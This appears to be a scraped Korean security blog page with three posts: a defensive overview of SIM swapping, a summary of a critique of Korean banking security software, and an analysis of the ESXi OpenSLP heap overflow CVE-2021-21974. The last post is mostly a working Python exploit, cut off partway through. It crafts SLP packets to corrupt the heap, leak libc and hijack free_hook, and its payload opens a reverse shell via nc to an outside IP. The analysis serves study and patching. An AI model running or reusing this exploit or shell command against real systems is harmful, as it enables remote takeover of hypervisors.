1. 개요

- 스마트폰은 오늘날 휴대폰의 기능을 넘어 인증 수단으로도 사용됨

 

1.1 심(Subscriber Identity Module, SIM)

- 가입자를 인증하는 장치로 정상 사용을 위해서 사용자를 판별

- 1990년대 등장하여 초기에는 단순히 가입자의 식별 정보만 확인하는 용도로 사용

- 2000년 이후 3G 서비스가 보급화된 후 주소록 저장, 교통카드, 신용카드 등의 부가 기능이 포함된 유심(Universal Subscriber Identity Module, USIM) 카드가 사용

- 유심칩에는 고유 번호가 있고, 이동통신사에 휴대전화 개통을 위해 필요한 정보가 모두 있어 다른 휴대전화로 바꿔 꽂아도 사용가능

 

2. 심 스와핑 (SIM Swapping)

- 피해자 스마트폰의 유심정보를 복제해 피해자의 개인정보 또는 은행이나 금융정보에 접근 및 탈취하는 신종 해킹 수법

- 상당수의 심 스와핑 공격은 개인들의 가상화폐 탈취가 주된 목적인 것으로 나타남

- 보통 피해자가 휴대폰을 확인하지 못하거나(ex 새벽), 고객샌터와 연결이 어려운 시간대(ex 새벽, 휴일) 이루어짐

 

2.1 원인

- 개인 정보를 많이 수집한 경우에 한해서 심 스와핑이 종종 발생

> 소셜 미디어 등에 공개한 이메일, 생일 등 정보 + 해킹 등으로 탈취한 개인정보 = 한 개인에대한 완성된 정보

> 사용자를 가장해 이동통신사에 연락해 신원을 인증한 후 유심칩을 재발급

 

- 일반적으로 새로운 심카드를 발급했다면 기존의 심카드는 폐기하고, 해당 내용이 통신사의 전산 시스템에 기록됨

> 심 스와핑의 경우 이러한 과정을 거치지 않아 동일한 유심이 2개가 됨

> 이로인해, 공격자가 복사한 유심을 휴대폰에 끼운 채 재부팅을 하면 전산상으로 "기기 변경"이 이뤄진 것으로 기록

> 즉, 공격자가 유심을 복재하였지만 전산상 해킹의 흔적이 남지않음

> 반대로, 정상 사용자의 휴대폰은 통신모듈이 정지되고 가입자 식별도 불가능해짐

※ 사용자가 이상을 인지한 후 유심을 뺀 후 다시 넣고 전원을 켜면 공격자의 휴대폰이 먹통이 되는 원리

 

2.2 공격 방식

① 개인정보 수집

- 피싱, 악성코드, SNS 등의 다양한 해킹 기법을 통해 개인정보와 금융정보를 수집

- 다크웹에서 유출된 개인정보 구매

 

② 심 스와핑 수행

- 피해자를 사칭해 이동통신사나 온라인으로 유심 신청

- 유심 분실, 파손을 이유로 피해자를 가장해 재발급 신청 또는 관련 직원 매수

 

③ 개인정보 및 금융자산 탈취

- 새로운 유심을 사용해 피해자의 계정을 이용해 추가 정보 탈취

 

※ 해외와 국내의 공격 방식은 차이를 보임

해외 이통사 비고 국내 이통사
상대적 소홀 본인인증 절차 동일 번호로 유심 재발급 시 신분증 등 인증 수단 필요
소홀한 본인 인증과 유출된 개인정보의 조합
관련 직원 매수
공격 방식 이통사 대리점 해킹 또는 불법 시스템 이용
관련 직원 매수

 

2.3 사례

- 미국 FBI는 심 스와핑이 갈수록 악용되고 있다고 경고

> 2018 ~ 2020년까지 약 1200만 달러(약 143억 원)의 피해액이 발생

> 2021년 한 해만 6800만 달러(약 810억 원)의 피해액이 발생

 

① 미국 AT&T 사례

- 미국의 한 사용자는 심 스와핑으로 2380만 달러의 암호화폐를 도난

- AT&T 대리점 직원이 심 스와핑을 도왔던 정황이 밝혀짐

- 이동통신사인 AT&T에 도난당한 피해액의 10배에 달하는 소송을 제기

 

② 캐나다 심 스와핑 사례

- 10대 소년 해커가 심 스와핑으로 432억 원(4600만 캐나다 달러)가량의 가상화폐 탈취

> 이동통신사를 속여 새로운 유심을 발급

> 전화번호를 이용한 비밀번호 초기화에 성공한 뒤 자신의 전자지갑에 가상화폐를 옮긴 것

- 캐나다 경찰과 FBI는 1년 8개월의 공조 수사를 통해 캐나다 온타리오주 해밀턴에서 체포

 

③ 유럽정보보호원(European Union Agency for Cybersecurity)이 발간한 '심 스와핑 대응' 보고서

> 설문에 응한 유럽 22개국 48개 이동통신(MNO) 사업자 중 25곳이 심 스와핑 사고를 경험

> 이들 중 6곳에선 관련 사고가 50건 이상 발생

 

④ KT 심 스와핑 사례

- 전산상 해킹의 흔적이 없어 KT는 단순히 '기기변경'으로 판단 및 추가대응하지 않음

- 피해자들은 KT에 다음 정보를 요청하였지만, 받아 들여지지 않음

> 기존 기지국 정보와 복제된 유심을 사용해 재부팅 시 기지국 정보가 다를 경우 공격을 의심해 볼 수 있음

> 피해자들은 개보위에 분쟁조정위원회를 요청하였고, KT에 기지국 정보를 제공하라 조정_KT는 문자를 수신한 기지국 정보는 제3자의 기지국 정보이기 때문에 제공할 수 없다고 거부

> 피해자들은 다시 분쟁조정위원회 요청 및 개보법에따라 정보를 제공하라고 결론

제35조(개인정보의 열람) ③ 개인정보처리자는 제1항 및 제2항에 따른 열람을 요구받았을 때에는 대통령령으로 정하는 기간 내에 정보주체가 해당 개인정보를 열람할 수 있도록 하여야 한다. <하략>

 

3. 대응방안

① 이동통신사에 연락해 전화 회선 자체를 일시 정지 요청

- 대표적인 증상은 전화나 문자가 제대로 송·수신되지 않거나 무선 네트워크 접속 불가 등의 메시지가 표시됨

- 휴대전화를 끄지 않고 무단 접근에 대한 알람이 수신되는 것을 확인

 

② 유심에 비밀번호(PIN 번호) 또는 다른 USIM 사용 제한 설정

- 핀을 사용하면 통신기기를 재시동하거나 심 카드를 제거할때마다 핀 번호를 입력해야 함

- 초기 유심 카드 비밀번호는 0000 또는 00000000이며, 3회 이상 틀릴 경우 유심이 잠김

- 단, 해커가 유심을 새로 발급할 때는 효과가 없음

 

③ 앱 기반 2단계 인증 등 별도의 보안 장치를 사용

- SMS 또는 스마트폰 번호가 아닌 앱을 활용한 인증기능을 사용

- 단, 해커가 휴대전화를 통제하게 되면 우회할 수 있음

 

④ 엠세이퍼(M-Safer) 서비스 이용

 - 한국정보통신진흥협회(KAIT)에서 운영 중인 이동전화 가입 제한 서비스 이용

- 가입제한 서비스 : 본인 아닌 타인으로부터 이동전화 신규가입 또는 명의변경 등을 제한하는 서비스

- 가입사실현황조회 서비스: 본인 명의로 가입된 통신서비스 현황을 조회일자 기준으로 확인할 수 있는 서비스

- SMS안내 서비스: 본인 명의로 각종 통신서비스에 신규로 가입하거나 명의변경을 통해 양도받을 경우 그 사실을 가입자 본인 명의로 사용하고 있는 이동전화 회선을 통해 SMS로 알려주는 서비스

- 이메일안내 서비스: 본인 명의로 각종 통신서비스에 신규로 가입하거나 명의변경을 통해 양도받을 경우 그 사실을 e-mail로 알려주는 서비스

※ 서비스는 신청자에 한하여 제공

 

⑤ 계정 잠금 요청

- 가상화폐거래소, 금융권 등 이용중인 서비스에 계정 잠금 요청

 

⑥ 개인 정보 관리

- FBI는 소셜 미디어나 웹사이트에 자신의 신상과 투자 정보, 금융 자산 정보를 공개하지 말 것을 권고

 

⑦ 기본 보안 수칙 준수

- 검증되지 않은 하이퍼링크, 첨부파일은 되도록 열지 않는 것을 권장

- 스스로 개인정보를 보호하기 위한 노력과 보안 실천 수칙들을 숙지

 

4. 참고

[1] https://www.joongang.co.kr/article/25091396#home
[2] https://m.nocutnews.co.kr/news/5717179
[3] https://www.boannews.com/media/view.asp?idx=106573
[4] https://blog.naver.com/n_privacy/222649951402
[5] https://www.ajunews.com/view/20220123163806841
[6] https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=2340
[7] https://www.sedaily.com/NewsView/260XD7N878
[8] https://hummingbird.tistory.com/6906
[9] https://finjoy.net/483

'취약점 > Social Engineering' 카테고리의 다른 글

Browser in the Browser (BitB)  (0) 2023.04.20
랜섬웨어 그룹 사칭 피싱메일  (0) 2023.04.03
BEC 공격과 EAC 공격  (0) 2023.02.04
사회공학기법 #2 유형 및 대응  (1) 2022.08.25
사회공학기법 #1 개요  (0) 2022.08.24

1. 개요

- 필란트는 앞서 한국의 은행 보안 프로그램 TouchEn nxKey, IPinside에 대해 분석글을 게시

- 해당 보안 프로그램의 설치를 강제하는 것이 사용자들에게 더 나은 보안을 제공하지 못함

 

2. 중간 결론

2.1 엔드포인트

- 사용자가 은행 웹사이트 접속 시 공격자 등 외부 요소의 간섭 없이 사용할 수 있어야함

- 이를 위해 MS에서 윈도우 방화벽(방화벽)과 윈도우 디펜더(백신)을 제공

- 한국에서는 타사 백신(안랩 백신)을 사용

- 안랩 세이프 트랜잭션의 경우 백그라운드에서 동작이 없다가, 은행 웹사이트에 접속해야만 동작

- 보통 멀웨어 감염은 은행 웹사이트에서 발생하지 않으므로 호스트를 공격으로부터 보호하지 못함

 

2.2 키보드 보안

- 한국의 여러 보안 애플리케이션이 키보드 입력을 보호하려 함

- 금융권을 대상으로한 트로이 목마 바이러스가 유행해 암호를 탈취

- 당시 화상키보드를 사용해 물리키보드 입력을 통한 키로깅 행위를 방지함

- 트로이 목마 바이러스 변종이 등장해 키 입력 뿐만 아니라 마우스 클릭과 클릭된 위치 주변의 스크린샷을 저장

- 새로운 변종 바이러스가 다수 등장하였지만 한국의 환경에서는 과거의 방식이 많이 사용됨

 

2.3 IP 주소 감지

- 공격자들은 여러 IP를 이용해 공격을 시도

- 한국의 은행들은 새로운 방법을 찾기 보단, 익명 프록시 및 VPN 사용에 대한 대안을 찾고있음_IPinside 설치를 요구

- 일반적으로 로그인 시도가 3~5번 실패할 경우 계정이 잠기거나, 다중 인증을 요구하므로 접속 IP에 대한 관심은 낮은편

- 또한, 금융권을 대상으로한 트로이 목마 바이러스 역시 이를 회피하는 방법을 가지고 있음

- 회피 기능을 이용해 계정을 탈취한 후 악의적으로 사용

 

2.4 인증서 기반 로그인

- 한국 은행 웹사이트 로그인 환경에서 인증서기반 로그인이 많이 사용됨

- 한 때 인터넷 뱅킹을 위해 강제되었지만 더 이상 그렇지 않음

- 인증서를 백업하고 사용하는 모든 디바이스로 옮기는 과정에서 오류가 발생할 가능성이 높음

- 또한, 부가적인 가치를 제공하지 않음

- 결론적으로, 인증서의 실질적인 기능에 대한 의문

 

2.5 소프트웨어 배포

- 설치가 필요한 애플리케이션의 개수가 다수

- 웹 사이트에 따라 필요로 하는 애플리케이션이 다르며, 버전 또한 고려해야하므로 일반 사용자가 관리하기에 어려움이 있음

- 해당 애플리케이션을 은행에서 배포하며, 버전별 호환성에 의해 오래전 버전이 지속적으로 배포되고 있을 수 있음

- 또한, HTTP를 이용해 소프트웨어를 배포하는 경우도 확인됨

- 은행 웹사이트에서 최신 버전의 보안 프로그램과 호환 될 수 있도록 절차 마련이 필요

 

3. 참고

[1] https://palant.info/2023/02/20/south-koreas-banking-security-intermediate-conclusions/

[2] https://github.com/alanleedev/KoreaSecurityApps/blob/main/04_intermediate_conclusions.md

1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
